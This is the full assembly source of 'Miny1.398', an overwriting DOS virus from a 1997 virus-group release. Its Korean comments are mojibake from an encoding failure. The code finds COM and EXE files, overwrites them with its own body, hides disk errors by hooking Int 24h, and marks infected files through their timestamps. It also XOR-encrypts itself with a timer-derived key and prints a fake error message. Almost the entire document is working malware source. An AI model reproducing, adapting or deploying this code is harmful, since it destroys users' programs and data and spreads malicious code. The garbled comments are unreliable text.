;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;           Miny1.398                                          CVC #02  97/09
;
;
; Name : Miny1.398
; Original Author : KOV (Knight Of Virus) of SVS (Seoul Virus Society)
; Author : Osiris of CVC,Corea
; Type : Non Resident  Overwriting
;
;
;
; Miny1.432 aa ea. Miny1.432 e  A aQ  a
; i qq ǡe  aw aA eia.
;
; Miny1.397 e Miny1.432  Ai ava.
;
;  Miny1 A 24h  ai a ge ai ЁiЖa.
;
;  e BɡA COM a  qq ǡa ҁA EXE a qqǥa.
;  15  w qqAae aaa a e Ai bea.
;
;  !!!! w !!!!
;
;  saa aaa qqE ae w i  a.
;   aae aBⷥ ae awAᴡ aa  aa e
;  e e awaAA a.
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>


 Miny1         SEGMENT PARA 'Miny1'
               assume cs:Miny1, ds:Miny1

               Org     100h
 Entry:        call    Decode                   ; qѡ Ή

 Encry_Start:
               Mov     byte ptr S_Find,00       ; COM qqa, EXE qqa
               mov     byte ptr Total,00        ; 3 qq
               Mov     dx,offset Com_File       ; e COM a qq
               mov     byte ptr Infected,00     ; qqE i 0 a ea.
               Jmp     Virus_Start              ; a x a

;=================================================
; A t wb
;

 Vir_Msg       DB ' Miny1 Virus - Bug Fix Version  97/08/14',0Dh,0Ah
               DB ' (c) Copyleft 1997 by Osiris of CVC,Corea',0Dh,0Ah
               DB '$'

 Msg           DB      'Abnormal Program Termination.',0Dh,0Ah,'$'

 ; TBAV e ϡa
 Com_File      DB      '*.c?m',00               ; e C?M a
 Exe_File      DB      '*.e?e',00               ; e E?E a
 Total         DB      ?                        ; qqǥ
 Infected      DB      ?                        ; qa qqE ai
 S_Find        DB      ?                        ; qqǡ e wȁ
 UP            DB      '..',00                  ; wᝡ 

 Virus_Start:
               xor     ax,ax
               mov     ds,ax
               push    DS:[0090h]               ; Int 24h t w
               Push    DS:[0092h]

               mov     DS:[0090h],offset NewInt24
               mov     DS:[0092h],cs            ; Int 24h a

               Push    CS                       ; cs=ds
               Pop     DS

 Find_File:
               Mov     ah,4Eh
               Mov     cx,00100011B             ; a 
 Find:         Int     21h
               Jc      Find_EXE                 ; A?
 ChkInfect:
               mov     ax, DS:[0080h+1Eh]
               cmp     ax,'OC'                  ; COMMAND.COM a ?
               jz      Find_NEXT                ; qq AA
               Mov     al, DS:[0080h+22]        ; qq a a
               And     al,1Fh                   ; qqAa ?
               Cmp     al,1Fh                   ; (62 a ?)
               Jnz     InfectFile
               inc     byte ptr INFECTED        ; qqE a
 Find_NEXT:
               Mov     ah,4Fh                   ; aq a a
               JMP     Find                     ;

 InfectFile:
               mov     ax,4301h                 ; i /a eea.
               xor     cx,cx                    ; DTA a 0080h  baa
               mov     dx,0080h+1eh
               int     21h

               mov     ax,3D02h                 ; e/a e
               int     21h

               xchg    ax,bx                    ; AX A Ѕi 
               mov     ax,5700h                 ; e 苡
               int     21h
               push    cx
               push    dx

               xor     ax,ax                    ;  e 苡 (qѡ
               mov     es,ax                    ; A aw)
               mov     al,byte ptr ES:[046Ch]   ; 0000:046Ch
               Push    CS                       ;
               Pop     ES                       ;
               mov     Key_Value,al             ; Key_Value = qѡǡ t
               call    Write_Vir                ; aa a ѡ

               pop     dx                       ; e 
               pop     cx
               or      cx,+1Fh                  ; i 62  a
               mov     ax,5701h                 ; e ( e)
               int     21h

               mov     ah,3eh                   ; a h
               Int     21h
               cmp     byte ptr Total,3         ; 3 qqva?
               jz      Stop_Virus
               Inc     byte ptr Total           ; 1 wa
               JMP     Find_NEXT
 Find_EXE:
               cmp     byte ptr S_Find,1        ; 01e EXE a qqva.
               Jnz     DX_EXE
               mov     dx, offset UP            ; w Bɡ 
               mov     ah,3Bh
               Int     21h
               jc      Stop_Virus               ; a Bɡ a ?
               mov     byte ptr S_Find,00       ; COM a  qq
               mov     dx, offset COM_File
               jmp     Find_File
 DX_EXE:
               Mov     byte ptr S_Find,01       ; EXE ai qqaa.
               Mov     dx,offset Exe_File       ;
               Jmp     Find_File

 Stop_Virus:
               xor     ax,ax                    ;  Int 24h  a
               mov     ds,ax
               pop     DS:[0092h]
               pop     DS:[0090h]
               Push    CS
               Pop     DS
               mov     dx, offset Msg           ; wⷥ Aᝡ aw
               cmp     byte ptr Infected,15     ; 15 qqvae A
               jb      PrtMsg
               mov     dx, offset Vir_Msg
 PrtMsg:       mov     ah,9                     ; A b
               Int     21h

               Mov     ah,4Ch                   ; aa a
               int     21h

 NewInt24:                                      ; Int 24h ១
               xor     al,al
               IRET

 End_Encry:

;==================================================
;   aa qѡ 
;
 Write_Vir:    call    Decode                   ; qѡ
               mov     ah,40h                   ; aa a
               mov     dx, 100h
               mov     cx, offset Vir_END - 100h;
               Int     21h
               call    Decode                   ; qѡ ЁA
               RET
 Key_Value     DB      ?

 Decode:
               mov     si, 103h                 ; qѡ b
               mov     di,si
               mov     ah,Key_value             ; qѡ ǡt
               mov     cx, offset End_Encry - 103h
 E_Ing:
               lodsb                            ; qѡ
               xor     al,ah
               stosb
               loop    E_ing
               RET
 Vir_END:

 Miny1         ENDS
               END     Entry
